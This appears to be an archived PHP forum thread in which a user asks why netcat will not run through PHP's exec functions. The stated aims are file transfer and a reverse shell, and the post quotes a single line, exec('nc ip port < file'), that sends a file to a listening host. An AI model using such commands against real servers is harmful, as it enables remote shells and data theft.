Jump to content

Running netcat with PHP


ctrlaltcasper

Recommended Posts

I'm trying to execute netcat using PHP. I've been stuck in this for hours, tried many different combination such as passthru, exec, system, and shell_exec. I searched Google but no luck so far. I'm just testing to see if I can do anything with netcat sush as tranfering files and reverse shell. I'm able to execute other commands such as ping, ls, whoami, etc. but not netcat. This is what I have so far:

exec ('nc ip port < file');

 

I have shell listening for connections but nothing happens. Any help would be really appreciated, thanks in advance!

Link to comment
https://forums.phpfreaks.com/topic/266566-running-netcat-with-php/
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.